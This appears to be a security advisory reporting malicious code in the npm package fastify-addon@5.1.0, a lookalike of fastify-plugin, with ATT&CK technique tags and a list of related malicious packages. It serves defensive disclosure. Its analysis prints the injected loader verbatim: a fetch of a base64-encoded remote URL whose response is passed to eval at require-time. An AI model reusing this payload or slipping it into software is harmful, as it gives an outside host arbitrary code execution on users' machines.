fastify-addon@5.1.0
Malicious code in fastify-addon (npm)
T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1027 · Obfuscated Files or InformationT1105 · Ingress Tool TransferT1071.001 · Web Protocols
Analysis
fastify-addon is a combosquat of the legitimate fastify-plugin package. lib/getPluginName.js contains an injected RCE payload: fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==")).then(r=>r.json()).then(d=>{eval(d.content)}), which base64-decodes to hxxps://www[.]jsonkeeper[.]com/b/UBMJA. The payload fetches a remote JSON blob and evals its content field — full remote code execution at require-time. An HTTPS GET to that URL plus DNS A/AAAA queries were observed.
- analyzed by
- Leitwacht
- first seen
- Jun 10, 2026, 07:22 PM
- analyzed
- Jun 10, 2026, 07:22 PM
Related advisories
- metrica-node@2.4.5
- vite-config-optimizer@1.1.4
- chai-utils-test@4.5.4
- autotel-mongoose@2.0.5
- autotel-mongoose@3.0.1
- autotel-mongoose@6.0.1
- autotel-mongoose@4.0.1
- autotel-mongoose@5.0.2
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.